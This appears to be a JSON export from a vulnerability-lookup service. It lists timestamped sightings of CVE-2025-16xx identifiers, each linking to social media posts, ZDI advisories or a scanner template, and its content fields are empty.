{"vulnerability": "2025-16", "sightings": [{"uuid": "0f8aeca1-8fac-487b-b11a-04331a991a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1683", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114150229721725855", "content": "", "creation_timestamp": "2025-03-12T15:44:37.279426Z"}, {"uuid": "88774b82-fcf0-46d6-9285-23877c1867af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lkej276x7u2z", "content": "", "creation_timestamp": "2025-03-14T21:02:09.774699Z"}, {"uuid": "53110688-28d7-4204-bea9-dfa0394e235d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljff5xdszd23", "content": "", "creation_timestamp": "2025-03-02T12:00:09.271089Z"}, {"uuid": "3c72a15e-c436-43b5-ab71-80c660111e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljff5xl3uy2p", "content": "", "creation_timestamp": "2025-03-02T12:00:10.006743Z"}, {"uuid": "28189089-e04c-494f-9795-68f63179d7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1672", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljpmlaxvn62o", "content": "", "creation_timestamp": "2025-03-06T13:39:27.092601Z"}, {"uuid": "625cdc81-077a-4b56-a41d-d5020314da19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1686", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj5f4bua6h2s", "content": "", "creation_timestamp": "2025-02-27T07:37:53.526504Z"}, {"uuid": "cd6ed2aa-12db-42ae-97f3-0abf3f053d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1642", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liy3sjhvfv2f", "content": "", "creation_timestamp": "2025-02-25T05:08:06.057198Z"}, {"uuid": "e5c737ff-ff09-47b9-8a8e-8a98db2128be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1646", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liy3smnwcd2s", "content": "", "creation_timestamp": "2025-02-25T05:08:07.425026Z"}, {"uuid": "08162396-9f4b-45e1-9ef8-abae70b42ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1643", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liy3sms52t2s", "content": "", "creation_timestamp": "2025-02-25T05:08:08.017469Z"}, {"uuid": "c7100043-a79c-45c7-8b35-2ebc0dbe4812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lk56agbibs2z", "content": "", "creation_timestamp": "2025-03-11T23:00:08.799863Z"}, {"uuid": "75cffc68-df59-42bd-95e4-11db90bb47f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lk3arnhszz2m", "content": "", "creation_timestamp": "2025-03-11T04:40:13.415757Z"}, {"uuid": "443918c9-44e9-4fee-8811-86c283613376", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114164402333040053", "content": "", "creation_timestamp": "2025-03-15T03:48:54.220569Z"}, {"uuid": "f3e89b2c-4e1f-4cd7-b4b5-76b362a11bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114142223381622935", "content": "", "creation_timestamp": "2025-03-11T05:48:30.299350Z"}, {"uuid": "830eee68-6c18-4b26-b06e-72e5b78e3287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1657", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114164402365852016", "content": "", "creation_timestamp": "2025-03-15T03:48:54.803201Z"}, {"uuid": "e9aca250-ec95-4fc2-b641-43bdda3beaaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1628", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkrp27y5vf26", "content": "", "creation_timestamp": "2025-03-20T02:54:08.170591Z"}, {"uuid": "1fe7ce3a-0172-41dd-acf5-57682e07d58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1673", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liye5edcig2f", "content": "", "creation_timestamp": "2025-02-25T07:37:17.136579Z"}, {"uuid": "6de53b8a-05a1-4db4-9472-50cb2696ab17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1669", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkwyfpl26", "content": "", "creation_timestamp": "2025-03-15T04:56:47.116362Z"}, {"uuid": "0ebaac69-a35f-4c92-98a3-5644da7e82f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1690", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj5mo34e6b26", "content": "", "creation_timestamp": "2025-02-27T09:53:07.996408Z"}, {"uuid": "a31f62ab-e7d2-4562-918a-45d3fb71bc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1668", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkxfntd2k", "content": "", "creation_timestamp": "2025-03-15T04:56:48.336711Z"}, {"uuid": "b6c84e22-7f09-4081-be79-96c72a9c2fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkxjjh52x", "content": "", "creation_timestamp": "2025-03-15T04:56:48.924558Z"}, {"uuid": "c0522c01-9c7c-4499-9aad-8a122f481c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1674", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liyivjtpxo2r", "content": "", "creation_timestamp": "2025-02-25T09:02:23.344165Z"}, {"uuid": "c7a1ce9a-5584-4483-9906-15bec3416ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdky3y232m", "content": "", "creation_timestamp": "2025-03-15T04:56:51.844660Z"}, {"uuid": "554f963e-543d-419c-9e78-cb17aba6fcbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1675", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liyivkcmah23", "content": "", "creation_timestamp": "2025-02-25T09:02:24.546886Z"}, {"uuid": "af08df0c-551d-4fc6-b586-01e316616cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1657", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdky77r32l", "content": "", "creation_timestamp": "2025-03-15T04:56:52.368489Z"}, {"uuid": "6e0883d3-3ea6-4d12-81c0-8ac88a718075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1670", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkycxut2l", "content": "", "creation_timestamp": "2025-03-15T04:56:52.917096Z"}, {"uuid": "1f6ef230-81a1-4c59-9663-c04e8ed92b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114164872033110878", "content": "", "creation_timestamp": "2025-03-15T05:48:21.385089Z"}, {"uuid": "fbbb5ac2-27b7-487d-a748-78fb9d3bb579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1673", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114063895802110527", "content": "", "creation_timestamp": "2025-02-25T09:48:46.350606Z"}, {"uuid": "90030b39-d5d2-403a-8be4-8bf3a05691f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1674", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114063895849324236", "content": "", "creation_timestamp": "2025-02-25T09:48:47.232845Z"}, {"uuid": "e6dc6bc0-5e6c-4fc4-ae93-f9e4e4027002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1695", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114104476668533740", "content": "", "creation_timestamp": "2025-03-04T13:49:01.026612Z"}, {"uuid": "2045478a-cefc-47e4-8ef3-20bc535f0bb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1675", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114063895907364066", "content": "", "creation_timestamp": "2025-02-25T09:48:48.105778Z"}, {"uuid": "4e56852e-ede6-4650-ac5c-5297c85b98be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk3lxtgz3v24", "content": "", "creation_timestamp": "2025-03-11T08:00:32.472108Z"}, {"uuid": "20badde1-4a80-4582-9018-434b6d9747a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1693", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj6asiolgd22", "content": "", "creation_timestamp": "2025-02-27T15:53:29.884132Z"}, {"uuid": "db9f11fd-049e-4551-8254-a726423da9d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1692", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj6asiuo3g26", "content": "", "creation_timestamp": "2025-02-27T15:53:30.411048Z"}, {"uuid": "91dc0edc-1818-4b2e-b05a-b09f22111e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1691", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj6asjuy6x27", "content": "", "creation_timestamp": "2025-02-27T15:53:32.419021Z"}, {"uuid": "cbaaa54c-0e1b-42a2-ac26-0abe6407f6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1607", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livd6rjtzo2l", "content": "", "creation_timestamp": "2025-02-24T02:42:12.890081Z"}, {"uuid": "00e73bd5-83c1-4420-aa70-f71315bb3fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1608", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livd6s2ndf2a", "content": "", "creation_timestamp": "2025-02-24T02:42:15.262252Z"}, {"uuid": "b14983a3-b8d1-463a-bc81-55fdc92f1be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lk3vywfcyc2p", "content": "", "creation_timestamp": "2025-03-11T11:00:07.868366Z"}, {"uuid": "36412ee2-1cfb-44bc-a6c3-f292b223eae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livq2kfcdv2t", "content": "", "creation_timestamp": "2025-02-24T06:32:28.372742Z"}, {"uuid": "c792080a-933f-4510-b76e-31baf990fe20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1615", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livq2kr6kr2f", "content": "", "creation_timestamp": "2025-02-24T06:32:29.131162Z"}, {"uuid": "06f98cff-76bc-4f68-b67d-5d817fa94479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-1661.yaml", "content": "", "creation_timestamp": "2025-03-13T10:07:43.000000Z"}, {"uuid": "fc35e79e-f623-4c8f-af74-4ebc6abc7832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542427969401", "content": "", "creation_timestamp": "2025-03-01T09:48:06.821497Z"}, {"uuid": "0d34841a-9871-4750-aac6-f442a87a19d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542387303233", "content": "", "creation_timestamp": "2025-03-01T09:48:07.098669Z"}, {"uuid": "e4b0e879-8ed9-42ee-9f33-d65636b50ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1618", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livx2deirx2a", "content": "", "creation_timestamp": "2025-02-24T08:37:37.156884Z"}, {"uuid": "4102ec65-fb8d-4998-b91a-332840cd911b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1629", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livx2e65us2l", "content": "", "creation_timestamp": "2025-02-24T08:37:38.022510Z"}, {"uuid": "899f91e8-ddf5-44b6-b19b-780e61469e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1652", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-163/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "4f7ad16c-30c9-446d-967e-5e2b5c23fe98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1649", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-159/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "71b38b36-85bf-4986-a2d1-5b4a89f4e6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1682", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114078994918555296", "content": "", "creation_timestamp": "2025-02-28T01:48:41.582444Z"}, {"uuid": "3d5f3765-33dd-4ec4-8d68-75988d600d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1650", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-158/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "782f11af-27a2-4640-af54-17b0bd482ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1687", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114078994955411295", "content": "", "creation_timestamp": "2025-02-28T01:48:41.846006Z"}, {"uuid": "92cccac5-854c-4908-9c1d-0a82f0d7840f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1651", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-157/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "1d49c67c-36a4-4c35-a0b2-6c4a0e7a1fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114102588102913759", "content": "", "creation_timestamp": "2025-03-04T05:48:44.355831Z"}, {"uuid": "defd8022-c40a-4dbb-b730-9ad4af070a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1632", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114059511326184396", "content": "", "creation_timestamp": "2025-02-24T15:13:44.402566Z"}, {"uuid": "b1b48e7d-2cf4-4818-a780-7d26794d4dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1681", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj7ccvb7cg2p", "content": "", "creation_timestamp": "2025-02-28T01:53:20.003220Z"}, {"uuid": "94bbdac0-80ea-4b22-bb29-a12d8dbf5367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljjvkjo6xo2t", "content": "", "creation_timestamp": "2025-03-04T07:04:09.631119Z"}, {"uuid": "915fb590-da39-40b4-9e74-667ef83a5c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1658", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.496977Z"}, {"uuid": "8da5c4d1-0344-4557-8a84-04e91a2f066f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1658", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.503566Z"}, {"uuid": "1fa1d246-1cdd-483f-9111-e637261d077f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1659", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.579848Z"}, {"uuid": "2e48cb17-8c54-4f13-85be-a05c0a8a8cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1659", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.578843Z"}, {"uuid": "ca450856-3456-40c0-9063-f8b38823e3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1660", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.635286Z"}, {"uuid": "3b9fc17f-9ca8-45d8-a189-1812c6904a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1660", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262852107639572", "content": "", "creation_timestamp": "2025-04-01T13:05:58.654420Z"}, {"uuid": "9a815cff-60e2-422d-b774-e6f16624b7f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1663", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3llvrfcqukt26", "content": "", "creation_timestamp": "2025-04-03T11:11:59.420790Z"}, {"uuid": "073a4846-7371-4421-8e2d-9e409279fff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1660", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-199/", "content": "", "creation_timestamp": "2025-04-03T03:00:00.000000Z"}, {"uuid": "abfc2fc4-cfe0-4bf0-9d79-541180d4352c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1659", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-198/", "content": "", "creation_timestamp": "2025-04-03T03:00:00.000000Z"}, {"uuid": "237181ee-2704-402f-b6a2-bdc31f57b0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1658", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-197/", "content": "", "creation_timestamp": "2025-04-03T03:00:00.000000Z"}, {"uuid": "396f9d5d-7467-486d-8d39-88b5e7942bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1631", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ltb3ejumdl2a", "content": "", "creation_timestamp": "2025-07-06T01:06:08.163953Z"}, {"uuid": "6648776f-9c87-44b0-bd10-728fa9856e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1698", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrekqsv65725", "content": "", "creation_timestamp": "2025-06-11T23:29:02.014249Z"}, {"uuid": "ec207287-85f1-4e84-bb4f-1e8c6f2a9a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1699", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrelctbjt22e", "content": "", "creation_timestamp": "2025-06-11T23:39:06.544678Z"}, {"uuid": "9003dfd5-13f8-4fc3-9af7-4859fd594524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1677", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114313960192880711", "content": "", "creation_timestamp": "2025-04-10T13:43:26.459730Z"}, {"uuid": "cf9ce9b5-ad87-4443-8a7e-549e1a70c2ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1677", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114313962647315508", "content": "", "creation_timestamp": "2025-04-10T13:44:03.666323Z"}, {"uuid": "55a09e33-2792-4e35-84d1-8b890a980efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1677", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmhta3cqsm2q", "content": "", "creation_timestamp": "2025-04-10T15:32:45.314713Z"}, {"uuid": "4d0e8da0-7d7d-4734-a119-bf63db8aba00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1677", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmoyhvtpds2q", "content": "", "creation_timestamp": "2025-04-13T11:55:14.739903Z"}, {"uuid": "53d0c2ff-053a-4cce-902d-38860e69dc33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1697", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114360490140651179", "content": "", "creation_timestamp": "2025-04-18T18:56:36.640870Z"}, {"uuid": "82ba5f9c-5ce6-4cc6-b6c8-ad23f92a9e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1697", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ln4dkds3rpy2", "content": "", "creation_timestamp": "2025-04-18T19:35:02.202437Z"}, {"uuid": "318112a6-4522-4c16-ac99-300e46bdddb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1632", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ln4gbfhjbx2q", "content": "", "creation_timestamp": 